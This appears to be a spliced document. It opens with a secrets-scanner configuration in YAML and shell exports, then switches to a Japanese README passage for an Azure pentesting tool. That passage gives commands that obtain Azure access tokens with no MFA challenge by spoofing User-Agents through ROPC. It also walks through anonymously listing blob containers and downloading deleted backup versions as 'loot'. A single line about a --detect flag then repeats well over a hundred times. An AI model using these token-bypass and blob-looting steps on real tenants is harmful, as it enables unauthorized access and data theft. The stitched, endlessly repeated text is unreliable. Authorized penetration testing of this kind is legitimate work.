enabled: true
max_depth: 3
url:
enabled: true
max_depth: 3
rot13:
enabled: true
max_depth: 3
gzip:
enabled: true
max_depth: 3
zip:
enabled: true
max_depth: 3
tar:
enabled: true
max_depth: 3
# 出力の設定
outputs:
json:
enabled: true
file: results.json
# 整形出力を有効にする
pretty: true
csv:
enabled: false
file: results.csv
# 区切り文字
delimiter: ","
sarif:
enabled: false
file: results.sarif
html:
enabled: false
file: results.html
# テンプレートファイル
template: ""
junit:
enabled: false
file: results.xml
slack:
enabled: false
# Slack Webhook URL
webhook_url: ""
# 通知する最小重大度(low、medium、high、critical)
min_severity: high
webhook:
enabled: false
# Webhook URL
url: ""
# HTTP メソッド(POST、PUT)
method: POST
# HTTP ヘッダー
headers:
Content-Type: "application/json"
# 通知する最小重大度
min_severity: high
# エンリッチメントの設定
enrichment:
github:
enabled: false
# GitHub API トークン
token: ""
aws:
enabled: false
# AWS アクセスキー ID
access_key_id: ""
# AWS シークレットアクセスキー
secret_access_key: ""
# AWS リージョン
region: "us-east-1"
slack:
enabled: false
# Slack API トークン
token: ""
domain:
enabled: false
# WHOIS サーバー
whois_server: ""
ip:
enabled: false
# 地理位置情報 API URL
geoip_url: ""
# ASN API URL
asn_url: ""
# 検証の設定
verification:
aws:
enabled: false
# AWS アクセスキー ID
access_key_id: ""
# AWS シークレットアクセスキー
secret_access_key: ""
# AWS リージョン
region: "us-east-1"
github:
enabled: false
# GitHub API トークン
token: ""
slack:
enabled: false
# Slack API トークン
token: ""
stripe:
enabled: false
# Stripe API キー
api_key: ""
sendgrid:
enabled: false
# SendGrid API キー
api_key: ""
twilio:
enabled: false
# Twilio アカウント SID
account_sid: ""
# Twilio 認証トークン
auth_token: ""
# グローバル設定
export SECRETS_SCANNER_CONCURRENCY=10
export SECRETS_SCANNER_TIMEOUT=30
export SECRETS_SCANNER_RETRIES=3
export SECRETS_SCANNER_LOG_LEVEL=info
export SECRETS_SCANNER_OUTPUT_FORMAT=json
export SECRETS_SCANNER_OUTPUT_FILE=results.json
export SECRETS_SCANNER_VERBOSE=false
export SECRETS_SCANNER_SILENT=false
export SECRETS_SCANNER_COLOR=true
export SECRETS_SCANNER_PROGRESS=true
# 検出器の設定
export SECRETS_SCANNER_DETECTORS_AWS_KEYS_ENABLED=true
export SECRETS_SCANNER_DETECTORS_AWS_KEYS_VERIFY=false
export SECRETS_SCANNER_DETECTORS_GITHUB_TOKENS_ENABLED=true
export SECRETS_SCANNER_DETECTORS_GITHUB_TOKENS_VERIFY=false
export SECRETS_SCANNER_DETECTORS_SLACK_TOKENS_ENABLED=true
export SECRETS_SCANNER_DETECTORS_SLACK_TOKENS_VERIFY=false
export SECRETS_SCANNER_DETECTORS_PRIVATE_KEYS_ENABLED=true
export SECRETS_SCANNER_DETECTORS_JWT_ENABLED=true
export SECRETS_SCANNER_DETECTORS_GOOGLE_API_ENABLED=true
export SECRETS_SCANNER_DETECTORS_STRIPE_KEYS_ENABLED=true
export SECRETS_SCANNER_DETECTORS_STRIPE_KEYS_VERIFY=false
export SECRETS_SCANNER_DETECTORS_TWILIO_KEYS_ENABLED=true
export SECRETS_SCANNER_DETECTORS_TWILIO_KEYS_VERIFY=false
export SECRETS_SCANNER_DETECTORS_SENDGRID_KEYS_ENABLED=true
export SECRETS_SCANNER_DETECTORS_SENDGRID_KEYS_VERIFY=false
export SECRETS_SCANNER_DETECTORS_NPM_TOKENS_ENABLED=true
export SECRETS_SCANNER_DETECTORS_PYPI_TOKENS_ENABLED=true
export SECRETS_SCANNER_DETECTORS_DOCKER_TOKENS_ENABLED=true
export SECRETS_SCANNER_DETECTORS_HEROKU_KEYS_ENABLED=true
export SECRETS_SCANNER_DETECTORS_AZURE_KEYS_ENABLED=true
export SECRETS_SCANNER_DETECTORS_GCP_KEYS_ENABLED=true
export SECRETS_SCANNER_DETECTORS_DATABASE_URLS_ENABLED=true
export SECRETS_SCANNER_DETECTORS_HIGH_ENTROPY_ENABLED=true
export SECRETS_SCANNER_DETECTORS_HIGH_ENTROPY_THRESHOLD=4.5
export SECRETS_SCANNER_DETECTORS_HIGH_ENTROPY_MIN_LENGTH=20
export SECRETS_SCANNER_DETECTORS_HIGH_ENTROPY_MAX_LENGTH=100
export SECRETS_SCANNER_DETECTORS_CREDIT_CARDS_ENABLED=true
export SECRETS_SCANNER_DETECTORS_CREDIT_CARDS_LUHN_CHECK=true
export SECRETS_SCANNER_DETECTORS_SSN_ENABLED=true
export SECRETS_SCANNER_DETECTORS_EMAILS_ENABLED=true
export SECRETS_SCANNER_DETECTORS_IPS_ENABLED=true
export SECRETS_SCANNER_DETECTORS_URLS_ENABLED=true
export SECRETS_SCANNER_DETECTORS_PHONE_NUMBERS_ENABLED=true
# フィルタの設定
export SECRETS_SCANNER_FILTERS_ENTROPY_ENABLED=true
export SECRETS_SCANNER_FILTERS_ENTROPY_THRESHOLD=4.5
export SECRETS_SCANNER_FILTERS_ALLOWLIST_ENABLED=true
export SECRETS_SCANNER_FILTERS_DENYLIST_ENABLED=true
export SECRETS_SCANNER_FILTERS_PATH_ENABLED=true
export SECRETS_SCANNER_FILTERS_SIZE_ENABLED=true
export SECRETS_SCANNER_FILTERS_SIZE_MIN=0
export SECRETS_SCANNER_FILTERS_SIZE_MAX=10485760
export SECRETS_SCANNER_FILTERS_EXTENSION_ENABLED=true
export SECRETS_SCANNER_FILTERS_DEDUPLICATE_ENABLED=true
export SECRETS_SCANNER_FILTERS_DEDUPLICATE_BY=both
# 変換の設定
export SECRETS_SCANNER_TRANSFORMS_BASE64_ENABLED=true
export SECRETS_SCANNER_TRANSFORMS_BASE64_MAX_DEPTH=3
export SECRETS_SCANNER_TRANSFORMS_HEX_ENABLED=true
export SECRETS_SCANNER_TRANSFORMS_HEX_MAX_DEPTH=3
export SECRETS_SCANNER_TRANSFORMS_URL_ENABLED=true
export SECRETS_SCANNER_TRANSFORMS_URL_MAX_DEPTH=3
export SECRETS_SCANNER_TRANSFORMS_ROT13_ENABLED=true
export SECRETS_SCANNER_TRANSFORMS_ROT13_MAX_DEPTH=3
export SECRETS_SCANNER_TRANSFORMS_GZIP_ENABLED=true
export SECRETS_SCANNER_TRANSFORMS_GZIP_MAX_DEPTH=3
export SECRETS_SCANNER_TRANSFORMS_ZIP_ENABLED=true
export SECRETS_SCANNER_TRANSFORMS_ZIP_MAX_DEPTH=3
export SECRETS_SCANNER_TRANSFORMS_TAR_ENABLED=true
export SECRETS_SCANNER_TRANSFORMS_TAR_MAX_DEPTH=3
# 出力の設定
export SECRETS_SCANNER_OUTPUTS_JSON_ENABLED=true
export SECRETS_SCANNER_OUTPUTS_JSON_FILE=results.json
export SECRETS_SCANNER_OUTPUTS_JSON_PRETTY=true
export SECRETS_SCANNER_OUTPUTS_CSV_ENABLED=false
export SECRETS_SCANNER_OUTPUTS_CSV_FILE=results.csv
export SECRETS_SCANNER_OUTPUTS_CSV_DELIMITER=","
export SECRETS_SCANNER_OUTPUTS_SARIF_ENABLED=false
export SECRETS_SCANNER_OUTPUTS_SARIF_FILE=results.sarif
export SECRETS_SCANNER_OUTPUTS_HTML_ENABLED=false
export SECRETS_SCANNER_OUTPUTS_HTML_FILE=results.html
export SECRETS_SCANNER_OUTPUTS_HTML_TEMPLATE=""
export SECRETS_SCANNER_OUTPUTS_JUNIT_ENABLED=false
export SECRETS_SCANNER_OUTPUTS_JUNIT_FILE=results.xml
export SECRETS_SCANNER_OUTPUTS_SLACK_ENABLED=false
export SECRETS_SCANNER_OUTPUTS_SLACK_WEBHOOK_URL=""
export SECRETS_SCANNER_OUTPUTS_SLACK_MIN_SEVERITY=high
export SECRETS_SCANNER_OUTPUTS_WEBHOOK_ENABLED=false
export SECRETS_SCANNER_OUTPUTS_WEBHOOK_URL=""
export SECRETS_SCANNER_OUTPUTS_WEBHOOK_METHOD=POST
export SECRETS_SCANNER_OUTPUTS_WEBHOOK_MIN_SEVERITY=high
# エンリッチメントの設定
export SECRETS_SCANNER_ENRICHMENT_GITHUB_ENABLED=false
export SECRETS_SCANNER_ENRICHMENT_GITHUB_TOKEN=""
export SECRETS_SCANNER_ENRICHMENT_AWS_ENABLED=false
export SECRETS_SCANNER_ENRICHMENT_AWS_ACCESS_KEY_ID=""
export SECRETS_SCANNER_ENRICHMENT_AWS_SECRET_ACCESS_KEY=""
export SECRETS_SCANNER_ENRICHMENT_AWS_REGION="us-east-1"
export SECRETS_SCANNER_ENRICHMENT_SLACK_ENABLED=false
export SECRETS_SCANNER_ENRICHMENT_SLACK_TOKEN=""
export SECRETS_SCANNER_ENRICHMENT_DOMAIN_ENABLED=false
export SECRETS_SCANNER_ENRICHMENT_DOMAIN_WHOIS_SERVER=""
export SECRETS_SCANNER_ENRICHMENT_IP_ENABLED=false
export SECRETS_SCANNER_ENRICHMENT_IP_GEOIP_URL=""
export SECRETS_SCANNER_ENRICHMENT_IP_ASN_URL=""
# 検証の設定
export SECRETS_SCANNER_VERIFICATION_AWS_ENABLED=false
export SECRETS_SCANNER_VERIFICATION_AWS_ACCESS_KEY_ID=""
export SECRETS_SCANNER_VERIFICATION_AWS_SECRET_ACCESS_KEY=""
export SECRETS_SCANNER_VERIFICATION_AWS_REGION="us-east-1"
export SECRETS_SCANNER_VERIFICATION_GITHUB_ENABLED=false
export SECRETS_SCANNER_VERIFICATION_GITHUB_TOKEN=""
export SECRETS_SCANNER_VERIFICATION_SLACK_ENABLED=false
export SECRETS_SCANNER_VERIFICATION_SLACK_TOKEN=""
export SECRETS_SCANNER_VERIFICATION_STRIPE_ENABLED=false
export SECRETS_SCANNER_VERIFICATION_STRIPE_API_KEY=""
export SECRETS_SCANNER_VERIFICATION_SENDGRID_ENABLED=false
export SECRETS_SCANNER_VERIFICATION_SENDGRID_API_KEY=""
export SECRETS_SCANNER_VERIFICATION_TWILIO_ENABLED=false
export SECRETS_SCANNER_VERIFICATION_TWILIO_ACCOUNT_SID=""
export SECRETS_SCANNER_VERIFICATION_TWILIO_AUTH_TOKEN=""
[·] MFA Azure Resource Manager Azure PowerShell Windows 10 / Chrome — MFA required (Conditional Access enforced) [·] MFA Azure Resource Manager Azure PowerShell macOS / Safari — MFA required (Conditional Access enforced) [+] GAP Azure Resource Manager Azure PowerShell PlayStation 5 — TOKEN ISSUED — no MFA challenge ... OVERVIEW 10 attempts · 3 MFA gaps · 6 MFA-enforced · 0 blocked
[+] MFA GAP CONFIRMED — 3 combination(s) returned a token with no MFA: Azure Resource Manager via client "Azure PowerShell" · User-Agent "PlayStation 5"
ここでのギャップは、*すべての*プラットフォームが選択されているデバイスプラットフォーム条件です — これは安全に見えますが、評価は User-Agent がそれらの**いずれか1つに一致する**場合にのみ MFA を強制します。どれにも一致しない User-Agent(PlayStation 5、またはでっち上げの文字列)にはアクセスが許可されます。では、使用可能なトークンを取得してピボットしましょう:```bash
# Auto-tries User-Agents until one bypasses MFA; prints the token + a usage hint.
./azpt mfa token -u [email protected] -P 'Passw0rd!' \
-r "https://management.azure.com" --confirm
# → ACCESS TOKEN (ARM), plus:
# Connect-AzAccount -AccessToken $t -AccountId "j.doe"
-r / -c は完全な URL / アプリ ID または 短縮名(storage、graph、keyvault、cli、office、teams)のいずれかを受け付けます。ARM トークンでは到達できない BLOB データにアクセスするには、同じ方法で Storage トークンを取得します:```bash
./azpt mfa token -u [email protected] -P 'Passw0rd!' -r storage --confirm
`--confirm` は必須です。ROPC は実際の資格情報をトークンエンドポイントに送信するため、繰り返し試行するとアカウントがロックされ、サインインアラートが発生する可能性があります — スイープは**段階的**に実行され(ベースライン、次に User-Agents、そして `--full` で全クライアントとリソースに拡大)、リクエスト数を抑え、`--delay <ms>` でスロットリングします。
> ⚠️ ROPC ベースの MFA テストは侵入的であり、ログに記録されます(Entra サインインログに ROPC 認証として表示されます)。許可されたエンゲージメントでのみ使用してください。
## ウォークスルー: 匿名 BLOB 攻撃
これはフラッグシップワークフローです: Azure Blob ストレージでホストされた静的 Web サイトを、**資格情報ゼロ**で侵害します。匿名の*リスティング*は、コンテナのパブリックアクセスレベルが `Container` に設定されている場合に機能します; *バージョン列挙*にはさらに、アカウントで BLOB バージョニングが有効になっている必要があります。
各ステップの詳細な説明とその仕組みについては、
[`docs/blob-anonymous-attacks.md`](https://github.com/hac01/azure-pentesting-suite/blob/main/docs/blob-anonymous-attacks.md) を参照してください。```bash
# 1. Is the static-website container anonymously reachable?
./azpt blob check --account acmewebsite index.html
# -> HTTP 200 accessible=true
# 2. List the $web container (the default). Note the "versioning:" line —
# if it says ENABLED, historical files may be recoverable.
./azpt blob list --account acmewebsite
# 3. Enumerate versions. This surfaces files removed from the live site,
# e.g. an old backup archive with CURRENT=false.
./azpt blob versions --account acmewebsite
# 4. Copy the exact VERSION value of the interesting blob and download it.
./azpt blob download --account acmewebsite backups/site-transfer.zip \
--version-id '2025-03-14T09:22:10.1234567Z' -o loot.zip
# 5. Inspect the loot.
unzip loot.zip
blob hunthunt はステップ1~4を自動化します。一般的なコンテナ名のリストをプローブし、
匿名でリスト可能な各コンテナについてバージョンを列挙し、シークレットを含むすべてのファイルを検出結果として報告します。```bash
./azpt blob hunt --account acmewebsite
## 検出
- **`--detect`** を指定して実行すると、検出のみが実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
- 検出は、`--detect` を指定した場合、または `--detect` と `--exploit` の両方を指定した場合に実行されます。
